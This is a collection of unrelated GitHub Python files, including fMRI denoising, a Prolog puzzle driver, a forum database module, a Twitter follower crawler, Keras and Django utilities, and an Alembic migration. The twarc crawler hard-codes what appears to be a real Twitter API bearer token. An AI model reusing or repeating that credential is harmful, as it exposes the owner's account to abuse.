np.array(mag.shape) # 4D variable with the shape \nnt = mag.shape[-1]\n\nscales = np.zeros(np.prod(saveshape[0:-1])) # Array of zeros with length = number of voxels\nfilt = np.zeros((np.prod(saveshape[0:-1]), nt)) # 2D matrix of zeros with shape voxels x timepoints \nsim = np.zeros_like(filt)\nresiduals = np.zeros_like(filt)\n\ndelta = np.zeros_like(filt)\neps = np.zeros_like(filt)\nxshift = np.zeros_like(filt)\nstdm = np.zeros(saveshape[0:-1])\nstdp = np.zeros(saveshape[0:-1])\nr2 = np.zeros_like(scales)\n\nestimate = np.zeros_like(filt)\n\nmag = np.array(mag)\n\ndef linear(beta, x):\n f = np.zeros(x.shape)\n f = beta[0]*x + beta[1]\n return f\n \n# Create model\nlinearfit = odr.Model(linear)\n\n# Creates a noise mask that takes only those values greater than noise_lb\nfreqs = np.linspace(-1.0, 1.0, nt) / (2 * TR)\nnoise_mask = np.fft.fftshift(1.0 * (abs(freqs) > noise_lb))\n\n# Estimates standard deviations of magnitude and phase\nfor x in range(mag.shape[0]):\n temp = mag[x, :, :, :]\n stdm[x, :, :] = np.std(np.fft.ifft(np.fft.fft(temp)* noise_mask), -1)\n temp = ph[x, :, :, :]\n stdp[x, :, :] = np.std(np.fft.ifft(np.fft.fft(temp)* noise_mask), -1)\n\n# Reshape variables into a single column\nmag = np.reshape(mag, (-1, nt)) # Reshapes variable intro 2D matrix of voxels x timepoints \nph = np.reshape(ph, (-1, nt))\nstdm = np.reshape(stdm, (-1,)) # Reshapes variable intro array of length = number of voxels \nstdp = np.reshape(stdp, (-1,))\nmask = np.reshape(mask, (-1,))\n\nfor x in range(mag.shape[0]):\n if mask[x]:\n design = ph[x, :]\n ests = [stdm[x]/stdp[x], 1.0]\n mydata = odr.RealData(design, mag[x, :],\n sx=stdp[x], sy=stdm[x])\n odr_obj = odr.ODR(mydata, linearfit, beta0=ests, maxit=600)\n res = odr_obj.run()\n est = res.y\n \n r2[x] = 1.0 - (np.sum((mag[x, :] - est) ** 2) / np.sum((mag[x, :]) ** 2))\n \n # take out scaled phase signal and re-mean may need correction\n sim[x, :] = ph[x, :]*res.beta[0]\n filt[x, :] = mag[x, :] - est \n # estimate residuals\n residuals[x, :] = np.sign(mag[x, :]-est)*(np.sum(res.delta**2,\n axis=0) + res.eps**2)\n delta[x, :] = np.sum(res.delta, axis=0)\t\t\t\t\t# res.delta --> Array of estimated errors in input variables (same shape as x)\n eps[x, :] = res.eps\t\t\t\t# res.eps --> Array of estimated errors in response variables (same shape as y)\n xshift[x, :] = np.sum(res.xplus, axis=0) \n estimate[x, :] = res.y\t\t\t\t# res.xplus --> Array of x + delta\n\n# Save outputs\n\noutname = str(args['outdir'] + args['subj'] + '.odr')\n\noutnii1 = nb.Nifti1Image(np.reshape(sim, saveshape),\n affine=f.affine, header=f.get_header())\nnb.save(outnii1, outname + '_sim.nii.gz')\n\noutnii2 = nb.Nifti1Image(np.reshape(filt, saveshape), affine=f.affine,\n header=f.get_header())\nnb.save(outnii2, outname + '_filt.nii.gz')\n\noutnii3 = nb.Nifti1Image(np.reshape(residuals, saveshape),\n affine=f.affine, header=f.get_header())\nnb.save(outnii3, outname + '_residuals.nii.gz')\n\noutnii4 = nb.Nifti1Image(np.reshape(delta, saveshape),\n affine=f.affine, header=f.get_header())\nnb.save(outnii4, outname + '_xres.nii.gz')\n\noutnii5 = nb.Nifti1Image(np.reshape(eps, saveshape),\n affine=f.affine, header=f.get_header())\nnb.save(outnii5, outname + '_yres.nii.gz')\n\noutnii6 = nb.Nifti1Image(np.reshape(xshift, saveshape),\n affine=f.affine, header=f.get_header())\nnb.save(outnii6, outname + '_xplus.nii.gz')\n\n# plot fit statistic info\noutnii7 = nb.Nifti1Image(np.reshape(stdp, saveshape[0:-1]),\n affine=f.affine, header=f.get_header())\nnb.save(outnii7, outname + '_stdp.nii.gz')\n\noutnii8 = nb.Nifti1Image(np.reshape(stdm, saveshape[0:-1]),\n affine=f.affine, header=f.get_header())\nnb.save(outnii8, outname + '_stdm.nii.gz')\n\noutnii9 = nb.Nifti1Image(np.reshape(r2, saveshape[0:-1]),\n affine=f.affine, header=f.get_header())\nnb.save(outnii9, outname + '_r2.nii.gz')\n\noutnii10 = nb.Nifti1Image(np.reshape(estimate, saveshape),\n affine=f.affine, header=f.get_header())\nnb.save(outnii10, outname + '_estimate.nii.gz')\n \n\n\n","repo_name":"idevicente/Phase-based_denoising_pipeline","sub_path":"1_Subject_level/03b_ODR_fit.py","file_name":"03b_ODR_fit.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"6686879208","text":"from pyswip import *\nfrom Board import Board\n\ndef solution(board):\n \"\"\"\n Função auxiliadora para enviar a lista em formato Prolog\n para o arquivo main.pl, responsável pelo algorítimo a\n ser demonstrado.\n \"\"\"\n prolog = Prolog()\n prolog.consult('main.pl')\n\n tabuleiro_prisioneiro_1 = str(board.board).replace('\\'CA\\'', '1').replace('\\'CO\\'', '0')\n output = list(prolog.query('flatten({},T),get_coin_to_flip(T,{},R)'.format(tabuleiro_prisioneiro_1,board.key)))\n board.flipCoin(output[0]['R'])\n \n tabuleiro_prisioneiro_2 = str(board.board).replace('\\'CA\\'', '1').replace('\\'CO\\'', '0')\n output_2 = list(prolog.query('flatten({},T),solution(T,S)'.format(tabuleiro_prisioneiro_2)))\n board.check(output_2[0]['S'])\n\nif __name__ == \"__main__\":\n board = Board()\n board.populateBoard()\n print('A chave está na casa: {}'.format(board.key))\n print('------------------------TABULEIRO------------------------')\n board.printPopulatedBoard()\n solution(board)","repo_name":"vinicius507/chessboard-puzzle","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"30631058858","text":"# \"Database code\" for the DB Forum.\nimport psycopg2;\nimport datetime\n\nDBNAME = \"forum\"\n\n#POSTS = [(\"This is the first post.\", datetime.datetime.now())]\n\ndef get_posts():\n \"\"\"Return all posts from the 'database', most recent first.\"\"\"\n db = psycopg2.connect(database=DBNAME)\n c = db.cursor()\n\n query = 'SELECT content,time FROM posts ORDER BY time DESC'\n c.execute(query)\n posts = c.fetchall()\n db.close()\n\n return posts\n\n\ndef add_post(content):\n \"\"\"Add a post to the 'database' with the current timestamp.\"\"\"\n db = psycopg2.connect(database=DBNAME)\n c = db.cursor()\n \n c. execute(\"INSERT INTO posts VALUES(%s)\", (content,))\n db.commit()\n db.close()\n\n\n","repo_name":"ptyadana/Python-Projects-Dojo","sub_path":"Python DB-API/Python - PostgreSQL/forum/forumdb.py","file_name":"forumdb.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"76"} +{"seq_id":"10044322013","text":"#!/usr/bin/env python3\n\nfrom __future__ import print_function\nimport sys\nimport os\nimport subprocess\nimport time\n\nfullScript = os.path.abspath(sys.argv[0])\n\nscriptName = os.path.basename(sys.argv[0])\nscriptName = os.path.splitext(scriptName)[0]\n\njarName = scriptName + '.jar'\n\ntoolsFolder = os.path.dirname(fullScript)\n\nfullJarPath = os.path.join(toolsFolder, jarName)\n\njdkDir = os.path.dirname(toolsFolder)\njdkDir = os.path.join(jdkDir, 'jdk', 'bin', 'java')\n\ntry:\n subProc = subprocess.Popen([jdkDir, '-jar', fullJarPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n # If here, start succeeded\nexcept:\n # Start failed, try JAVA_home\n try:\n javaHome = os.environ['JAVA_HOME']\n jdkDir = os.path.join(javaHome, 'bin', 'java')\n except:\n # No JAVA_HOME, try just running java from path\n jdkDir = 'java'\n try:\n subProc = subprocess.Popen([jdkDir, '-jar', fullJarPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n except Exception as e:\n # Really error\n print('Error Launching Tool: ')\n print(e)\n exit(1)\n\n# wait 3 seconds, if still open good\ncount = 0\nwhile subProc.poll() is None:\n time.sleep(1)\n count = count + 1\n if count > 2:\n exit(0)\n\n\noutputStd = subProc.stdout.read()\noutputErr = subProc.stderr.read()\n\nprint(outputStd.decode('utf-8'))\nprint(outputErr.decode('utf-8'), file=sys.stderr)\n","repo_name":"wpilibsuite/GradleRIO","sub_path":"src/main/resources/ScriptBase.py","file_name":"ScriptBase.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":252,"dataset":"github-code","pt":"76"} +{"seq_id":"30808609548","text":"# Um professor quer sortear um dos seus quatro alunos para apagar o quadro.\r\n# Faça um programa que ajude ele, lendo o nome dos alunos e escrevendo na tela o nome do escolhido\r\n\r\nimport random\r\n\r\naluno1 = str(input('Digite o nome do aluno 01: '))\r\naluno2 = str(input('Digite o nome do aluno 02: '))\r\naluno3 = str(input('Digite o nome do aluno 03: '))\r\naluno4 = str(input('Digite o nome do aluno 04: '))\r\n\r\nalunos = [aluno1, aluno2, aluno3, aluno4] # Cria uma lista com os alunos \r\n\r\nescolhido = random.choice(alunos) # Randomiza a lista\r\n\r\nprint('O aluno escolhido foi o/a: {}'.format(escolhido))\r\n","repo_name":"abbjunior/CursoEmVideo-Python_M1","sub_path":"desafio019.py","file_name":"desafio019.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"36225828459","text":"from twarc.client2 import Twarc2\n\n# Your bearer token here\nt = Twarc2(bearer_token=\"AAAAAAAAAAAAAAAAAAAAACcSnAEAAAAApgB%2BCROzbjX%2FeRDngRTO0Z3Y0KA%3D1ftJISHlgpEBaT5am4K3oGOzAxs6zmJeItgkLIqM6zD5QJxunk\")\n\nuser_ids = [12, 2244994945, 4503599627370241] # @jack, @twitterdev, @overflow64\n\n# Iterate over our target users\nfor user_id in user_ids:\n\n # Iterate over pages of followers\n for i, follower_page in enumerate(t.followers(user_id)):\n\n # Do something with the follower_page here\n print(f\"Fetched a page of {len(follower_page['data'])} followers for {user_id}\")\n\n if i == 1: # Only retrieve the first two pages (enumerate starts from 0)\n break","repo_name":"ghuioio/DATN","sub_path":"twarc_crawl.py","file_name":"twarc_crawl.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"22999760271","text":"\"\"\" lr_controller.py: Keras custom defined functions placed in this file \"\"\"\n\n__author__ = \"Isaac Sim\"\n__copyright__ = \"Copyright 2019, The Realtime EEG Analysis Project\"\n__credits__ = [\"Isaac Sim\"]\n__license__ = \"\"\n__version__ = \"1.0.0\"\n__maintainer__ = [\"Isaac Sim\", \"Dongjoon Jeon\"]\n__email__ = \"gilgarad@igsinc.co.kr\"\n__status__ = \"Development\"\n\nfrom keras.callbacks import EarlyStopping, Callback\nimport keras.backend.tensorflow_backend as K\n\n\n# Define early stop and learning rate decay !!!\nclass LrReducer(Callback):\n def __init__(self, patience=0, reduce_rate=0.5, reduce_nb=3, verbose=1):\n \"\"\" Initialize LrReducer Object. This object is for changing learning rate by certain conditions\n\n :param patience:\n :param reduce_rate:\n :param reduce_nb:\n :param verbose:\n \"\"\"\n super(Callback, self).__init__()\n self.patience = patience\n self.wait = 0\n self.best_loss = -1\n self.reduce_rate = reduce_rate\n self.current_reduce_nb = 0\n self.reduce_nb = reduce_nb\n self.verbose = verbose\n self.initial_learning_rate = -1\n\n def on_epoch_end(self, epoch, logs={}):\n \"\"\" At the end of epoch, measures to determine whether to change learning rate or not\n\n :param epoch:\n :param logs:\n :return:\n \"\"\"\n current_loss = logs.get('val_loss')\n if self.best_loss == -1 and self.initial_learning_rate == -1:\n self.best_loss = current_loss\n self.initial_learning_rate = K.get_value(self.model.optimizer.lr)\n\n if current_loss <= self.best_loss:\n self.best_loss = current_loss\n self.wait = 0\n if self.verbose > 2:\n print('---current best loss: %.3f' % current_loss)\n else:\n if self.wait >= self.patience:\n self.current_reduce_nb += 1\n if self.current_reduce_nb <= self.reduce_nb:\n lr = K.get_value(self.model.optimizer.lr)\n K.set_value(self.model.optimizer.lr, lr * self.reduce_rate)\n self.wait = -1\n if self.verbose > 0:\n print(\"Learning Rate Decay: %.5f -> %.5f\" % (lr, lr * self.reduce_rate))\n else:\n if self.verbose > 0:\n print(\"Epoch %d: early stopping\" % (epoch + 1))\n self.model.stop_training = True\n\n if K.get_value(self.model.optimizer.lr) * 100 < self.initial_learning_rate:\n if self.verbose > 0:\n print(\"Epoch %d: early stopping\" % (epoch + 1))\n self.model.stop_training = True\n self.wait += 1\n","repo_name":"gilgarad/realtime_eeg_analyzer","sub_path":"neural_network/utils/lr_controller.py","file_name":"lr_controller.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"76"} +{"seq_id":"6063245750","text":"#!/usr/bin/python3.7\n\nimport sys, os\nfrom time import sleep\nfrom threading import Thread\n\n\n\n#######################################################\n\ndef help_text(create:bool=False, serve:bool=False) -> None:\n\t\"\"\"\n\tprint help text\n\n\tparams:\n\t\tcreate:bool : prints help text for create command\n\t\tserve:bool : prints help text for serve command\n\t\"\"\"\n\n\tprint('usage:')\n\n\tif create:\n\t\tprint('\\tmanage create [project_name]')\n\n\tif serve:\n\t\tprint('\\tmanage serve')\n\t\tprint('\\tmanage serve [project_name]')\n\n\n\n\n\n\n#######################################################\n\ndef create_p5_project(name:str) -> None:\n\t\"\"\"\n\tcreate a p5 project with specified name\n\n\tparams:\n\t\tname:str : create a folder \"name\" with default files\n\t\"\"\"\n\tif name in os.listdir():\n\t\tprint(f'folder {name} already exists')\n\t\tprint('exiting')\n\t\treturn\n\n\tprint(f'creating project {name}')\n\n\tos.mkdir(name)\n\twith open(f'{name}/index.html', 'w') as f:\n\t\tf.write(f\"\"\"\n\n\n\t{name}\n\t\n\t\n\n\n\t

    {name}

    \n\n\n\"\"\")\n\n\twith open(f'{name}/script.js', 'w') as f:\n\t\tf.write(f\"\"\"function setup() {{\n\tcreateCanvas(400,400);\n\tmouseX = -100;\n\tmouseY = -100;\n}}\n\nfunction draw() {{\n\tnoStroke();\n\tfill(255, 255, 255, 3);\n\tellipse(mouseX, mouseY, 250);\n}}\"\"\")\n\n\n\n\n\n\n\n#######################################################\n\ndef serve_project(name:str=None) -> None:\n\t\"\"\"\n\tcreate a p5 project with specified name\n\n\tparams:\n\t\tname:str : name for the project to serve, optional param\n\t\"\"\"\n\n\tif name:\n\t\tif name not in os.listdir():\n\t\t\tprint(f'folder {name} doesn\\'t exists')\n\t\t\tprint('exiting')\n\t\t\treturn\n\t\ts = f'x-www-browser http://localhost:8000/{name}'\n\telse:\n\t\ts = 'x-www-browser http://localhost:8000'\n\n\tdef f1():\n\t\tsleep(1)\n\t\tos.system(s+' > /dev/null 2>&1')\n\tThread(target=f1).start()\n\tos.system('python3 -m http.server 8000 --bind 0.0.0.0')\n\n\n\n\n\n\n\n\n#######################################################\n\nif __name__ == '__main__':\n\n\targs = sys.argv[1:]\n\n\tif len(args)==0 or '-h' in args or '--help' in args:\n\t\thelp_text(create=True, serve=True)\n\n\telif args[0]=='create':\n\t\tif '-h' in args or '--help' in args or len(args) == 1:\n\t\t\thelp_text(create=True)\n\t\telse:\n\t\t\tcreate_p5_project(args[1])\n\n\telif args[0]=='serve':\n\t\tif '-h' in args or '--help' in args:\n\t\t\thelp_text(serve=True)\n\t\telif len(args) == 1:\n\t\t\tserve_project()\n\t\telse:\n\t\t\tserve_project(args[1].split('/')[-1] if '/' in args[1] else args[1])\n\n","repo_name":"kyoobey/random_p5_projects","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"40052791863","text":"import numpy as np\nimport pandas as pd\n\nspam = ['Win money now!', 'Make cash easy!', 'Cheap money, reply']\nham = ['How are you?', 'There you are', 'Can I borrow money', 'Say hi to grandma.', 'Was the exam easy?']\n\nspam_money = [x.find('money')>0 for x in spam].count(True)\nham_money = [x.find('money')>0 for x in ham].count(True)\n\nemail = {'Email_Type': ['spam', 'ham'], \n 'Email_count': [len(spam), len(ham)],\n 'HaveMoney_count': [spam_money, ham_money] }\n\ndf = pd.DataFrame(email)\n\nprint(email)\n\ndf['Email_Type_Prob'] = df['Email_count']/df['Email_count'].sum()\ndf['HaveMoney_Prob'] = df['HaveMoney_count']/df['Email_count']\ndf['HaveMoney_Type_Prob'] = df['Email_Type_Prob'] * df['HaveMoney_Prob'] \ndf['HaveMoney_Given_Type_Prob'] = df['HaveMoney_Type_Prob'] / df['HaveMoney_Type_Prob'].sum()\n\nprint(df)\n\nprint((1/12)/(1/40+1/12))","repo_name":"samlexrod/DSND_Nanodegree","sub_path":"Naive Bayes/Spam_and_Ham.py","file_name":"Spam_and_Ham.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9232251357","text":"from configparser import ConfigParser\nimport tensorflow as tf\nfrom dqn.replay_buffer import ExpReplay\nfrom dqn.CDDDQN import CDDDQN\nfrom dqn.DDDQN import DDDQN\nimport numpy as np\n\nconfig_object = ConfigParser()\n\n\nclass Agent():\n \"\"\"Based on https://towardsdatascience.com/dueling-double-deep-q-learning-using-tensorflow-2-x-7bbbcec06a2a\"\"\"\n\n def __init__(self, observation_shape, actions, grid_shape, gamma=0.99, replace=100, lr=0.001,\n epsilon_decay=1e-3, decay_type=\"flat\", initial_epsilon=1.0, min_epsilon=0.01,\n batch_size=64, method=\"DDDQN\"):\n \"\"\"Create a DDQN agent.\n\n Args:\n observation_shape (tuple): Observation array shape\n actions (int): Number of actions\n grid_shape (tuple): Shape of the train grid\n gamma (float, optional): Discount factor in q-values update. Describes how much the \n previous q-values are going to be mantained. Defaults to 0.99.\n replace (int, optional): Number of iteration after which the target network weights are\n updated. Defaults to 100.\n lr (float, optional): Learning rate. Defaults to 0.001.\n epsilon_decay (float, optional): How much epsilon is decreased at each iteration. \n Defaults to 1e-3.\n decay_type (str, optional): Type of decay implemented, can be either flat, smooth.\n Defaults to flat.\n intial_epsilon (float, optional): Defaults to 1.0.\n min_epsilon (float, optional): Defaults to 0.01.\n batch_size (int, optional): Defaults to 64.\n method (str, optional): The algorithm to use. Either DDDQN or CDDDQN. Defaults to DDDQN.\n \"\"\"\n self.observation_shape = observation_shape\n self.memory = ExpReplay(observation_shape)\n self.actions = actions\n self.grid_shape = grid_shape\n\n # hyperparameters input\n self.gamma = gamma\n self.epsilon = initial_epsilon\n self.min_epsilon = min_epsilon\n self.epsilon_decay = epsilon_decay\n self.replace = replace\n self.batch_size = batch_size\n self.decay_type = decay_type.lower() if decay_type.lower() in [\n \"flat\", \"smooth\"] else \"flat\"\n self.method = method.lower() if method.lower() in [\n \"dddqn\", \"cdddqn\"] else \"dddqn\"\n\n self.trainstep = 0\n\n # Deep network creation\n if self.method == \"dddqn\":\n self.q_net = DDDQN(self.actions)\n self.target_net = DDDQN(self.actions)\n elif self.method == \"cdddqn\":\n self.q_net = CDDDQN(self.actions, self.grid_shape)\n self.target_net = CDDDQN(self.actions, self.grid_shape)\n\n opt = tf.keras.optimizers.Adam(learning_rate=lr)\n self.q_net.compile(loss=\"mse\", optimizer=opt)\n self.target_net.compile(loss=\"mse\", optimizer=opt)\n\n def act(self, state, legal_moves):\n \"\"\"Returns the action which is going to be taken using epsilon-greedy algorithm\n e.g. with probability epsilon choose a random action from the memory otherwise exploit\n the q-table.\n\n Args:\n state (np.array): State observation\n\n Returns:\n int: Best action\n \"\"\"\n action = None\n\n if np.random.rand() <= self.epsilon:\n # exploit numpy's probability feature to select only legal moves\n probabilities = legal_moves/(np.sum(legal_moves))\n action = np.random.choice(list(range(self.actions)),\n p=probabilities)\n else:\n # keras model expects at least 2D data\n actions = self.q_net.advantage(np.array([state]))\n # extract actions and mask illegal action by setting the q-value low\n actions = actions.numpy()[0]\n actions[legal_moves == 0] = -1e4\n # select the best action\n action = np.argmax(actions)\n\n return action\n\n def update_mem(self, state, action, reward, next_state, done):\n \"\"\"Add a sample to the experience replay\n\n Args:\n state (np.array): State observation\n action (np.array): Action taken \n reward (np.array): Reward after using action\n next_state (np.array): State obtained after executing action \n done (bool): True if state is final \n \"\"\"\n self.memory.add(state, action, reward, next_state, done)\n\n def update_target(self):\n \"\"\"Update target network (Double Q-Network)\"\"\"\n self.target_net.set_weights(self.q_net.get_weights())\n\n def update_epsilon(self):\n \"\"\"Reduce epsilon by `epsilon_decay` value.\n\n Returns:\n np.float: Epsilon value\n \"\"\"\n decay_fn = {\n \"flat\": lambda e: e - self.epsilon_decay,\n \"smooth\": lambda e: e * (1 - self.epsilon_decay)\n }\n\n if self.epsilon > self.min_epsilon:\n self.epsilon = decay_fn[self.decay_type](self.epsilon)\n else:\n self.epsilon = self.min_epsilon\n\n return self.epsilon\n\n def train(self):\n \"\"\"Train the networks\"\"\"\n try:\n # update target every replace iterations\n if self.trainstep > 0 and self.trainstep % self.replace == 0:\n self.update_target()\n\n states, actions, rewards, next_states, dones, batch = self.memory.sample(\n self.batch_size)\n\n # get q-values estimate for each action\n target = self.q_net.predict(states)\n # value of the next state\n next_state_val = self.target_net.predict(next_states)\n # best action for next state\n max_action = np.argmax(self.q_net.predict(next_states), axis=1)\n \n # build indexes for all predicted q-values\n batch_index = np.arange(self.batch_size, dtype=np.int32)\n\n # update estimates of q-values on the targetnet based on qnet estimation\n q_target = np.copy(target)\n q_target[batch_index, actions] = rewards + self.gamma * \\\n next_state_val[batch_index, max_action] * dones\n\n # train network and set losses on the experience replay\n self.memory.losses[batch] = self.q_net.train_on_batch(\n states, q_target)\n\n self.update_epsilon()\n self.trainstep += 1\n except MemoryError:\n # not enough samples in memory, wait to train\n pass\n\n def save_model(self):\n \"\"\"Save the network models\"\"\"\n self.q_net.save_weights(\"%s_qnet_model\" % self.method)\n self.target_net.save_weights(\"%s_targetnet_model\" % self.method)\n\n # save hyperparameters\n config_object[\"CONFIG\"] = {\n \"gamma\": self.gamma,\n \"epsilon\": self.epsilon,\n \"min_epsilon\": self.min_epsilon,\n \"epsilon_decay\": self.epsilon_decay,\n \"replace\": self.replace,\n \"batch_size\": self.batch_size,\n \"decay_type\": self.decay_type,\n \"method\": self.method\n }\n with open(\"%s_config.ini\" % self.method, \"w\") as f:\n config_object.write(f)\n\n print(\"model saved\")\n\n def load_model(self):\n \"\"\"Load local weights\"\"\"\n self.q_net.load_weights(\"%s_qnet_model\" % self.method)\n self.target_net.load_weights(\"%s_targetnet_model\" % self.method)\n\n # load hyperparameters\n config = config_object.read(\"%s_config.ini\" % self.method)[\"CONFIG\"]\n self.gamma = config[\"gamma\"]\n self.min_epsilon = config[\"min_epsilon\"]\n self.epsilon_decay = config[\"epsilon_decay\"]\n self.replace = config[\"replace\"]\n self.batch_size = config[\"batch_size\"]\n self.decay_type = config[\"decay_type\"]\n self.method = config[\"method\"]\n\n print(\"model loaded\")\n","repo_name":"CatLads/RL","sub_path":"dqn/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":7990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"17276855213","text":"import logging\n\nfrom django.dispatch import receiver\nfrom .api_client import PlpApiClient\n\ntry:\n from course_shifts.models import CourseShiftGroup, CourseShiftSettings, CourseShiftGroupMembership\n group_signal = CourseShiftGroup.changed_signal\n settings_signal = CourseShiftSettings.changed_signal\n membership_signal = CourseShiftGroupMembership.method_called_signal\nexcept (ImportError, AttributeError) as e:\n group_name_signal = group_signal = settings_signal = membership_signal = None\n\n def receiver(*args, **kwargs):\n return lambda x: x\n logging.error(\"Failed to enable course shifts push into PLP: import error:{}\".format(e))\n\n\nlog = logging.getLogger(__name__)\n\n\n@receiver(group_signal)\ndef push_course_shift_group_changed(sender, old_fields, new_fields, forced_fields, **kwargs):\n \"\"\"\n Pushes CourseShiftGroup to PLP: creation, deletion and start_date change.\n \"\"\"\n course_key = forced_fields['course_key']\n name = forced_fields['name']\n start_date = new_fields.get('start_date', None)\n PlpApiClient().push_shift_group(course_key, name, start_date)\n\n\n@receiver(settings_signal)\ndef push_course_shifts_settings_changed(sender, old_fields, new_fields, forced_fields, **kwargs):\n \"\"\"\n Pushes CourseShiftSettings creation and deletion to PLP. Doesn't push deletion, because\n it's impossible using insutructor or admin interfaces\n \"\"\"\n if new_fields:\n # otherwise we have deleted settings, it's exceptional case\n # that doesn't need push to plp\n PlpApiClient().push_shifts_settings(**forced_fields)\n\n\n@receiver(membership_signal)\ndef push_course_shift_membership_changed(sender, method_name, args, kwargs, result, **true_kwargs):\n \"\"\"\n Pushes CourseShiftGroupMembership change. It's supposed that membership changed via .transfer_user method.\n \"\"\"\n if method_name == \"transfer_user\":\n if not result:\n return\n user = args[0]\n shift_from = args[1]\n shift_to = args[2]\n requester = None\n if 'requester' in kwargs:\n requester = kwargs['requester']\n if not shift_to and not shift_from:\n # just to check, impossible case\n return\n PlpApiClient().push_shift_membership(user, shift_from, shift_to, requester)\n else:\n log.error(\"Unexpected signal source: {}\".format(method_name))\n","repo_name":"examus/open-edx-api-extension","sub_path":"open_edx_api_extension/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"10108198821","text":"### The Wheel\n### Randomly select a brother/pledge to assign a task\n### Usage: python3 wheel.py [-b | -p]\n### -b: Brothers only\n### -p: Pledges only\n### no arg: Both bros and pledges\n\nfrom random import randint\nimport sys\n\ndef main(args):\n\tnames = []\n\tif (len(args) == 1):\n\t\t#bros and pledges\n\t\tf = open('brothers.txt')\n\t\tnames = f.readlines()\n\t\tf.close()\n\t\tf2 = open('pledges.txt')\n\t\tnames.extend(f2)\n\t\tf2.close()\n\telif (len(args) > 1):\n\t\tif (args[1] == '-b'):\n\t\t\t#brothers only\n\t\t\tf = open('brothers.txt')\n\t\t\tnames = f.readlines()\n\t\t\tf.close()\n\t\telif (args[1] == '-p'):\n\t\t\t#pledges only\n\t\t\tf = open('pledges.txt')\n\t\t\tnames = f.readlines()\n\t\t\tf.close()\n\n\tlength = len(names)\n\tindex = randint(0, length - 1)\n\ttheChosenOne = \"Kedar Manishankar\"\n\tprint(theChosenOne)\n\nif __name__ == '__main__':\n\tmain(sys.argv)\n","repo_name":"jamesmullenbach/TheWheel","sub_path":"wheel.py","file_name":"wheel.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"12401991484","text":"class countItemOfItrable:\n def __init__(self,data) -> None:\n self.data=data\n self.index=0\n\n\n def __iter__(self):\n n=len(self.data)\n print(f\"lenght of data is {n}\") \n return self\n\n def __next__(self):\n\n if self.index >= len(self.data):\n print(\"i show you all items \")\n raise StopIteration\n n=self.data[self.index]\n self.index+=1\n return f\"the item number {self.index} of {self.data} is {n}\"\n \n# ============================================================================\n\nfor i in countItemOfItrable(\"mehdi\") :\n print(i)","repo_name":"MaliJ89/python-test","sub_path":"lenghNumberOfString.py","file_name":"lenghNumberOfString.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"24745392663","text":"\"\"\"requisites\n\nRevision ID: 07148d64f306\nRevises: ea9d27268d01\nCreate Date: 2023-07-26 11:47:50.360092\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '07148d64f306'\ndown_revision = 'ea9d27268d01'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('requisites',\n sa.Column('direction', sa.String(length=30), nullable=False),\n sa.Column('number', sa.String(length=30), nullable=False),\n sa.Column('owner', sa.String(length=50), nullable=False),\n sa.Column('account', sa.String(length=50), nullable=True),\n sa.Column('description', sa.String(length=50), nullable=True),\n sa.Column('wallet_id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.String(length=50), nullable=False),\n sa.Column('platform_id', sa.String(length=512), nullable=False),\n sa.ForeignKeyConstraint(['platform_id'], ['platforms.token'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.telegram'], ),\n sa.ForeignKeyConstraint(['wallet_id'], ['wallets.id'], ),\n sa.PrimaryKeyConstraint('number'),\n sa.UniqueConstraint('number')\n )\n op.create_unique_constraint(None, 'wallets', ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'wallets', type_='unique')\n op.drop_table('requisites')\n # ### end Alembic commands ###\n","repo_name":"Aaliyah097/new_zerg","sub_path":"alembic/versions/07148d64f306_requisites.py","file_name":"07148d64f306_requisites.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42263127341","text":"\n\nimport mrhttp\n\nimport tenjin\ntenjin.set_template_encoding('utf-8')\nfrom tenjin.helpers import *\nengine = tenjin.Engine(path=['templates'])\n\n\napp = mrhttp.Application()\n\n@app.route('/')\ndef index(r):\n context = { \"world\":\"all you python fanatics out there!\" } \n return engine.render('example.ten', 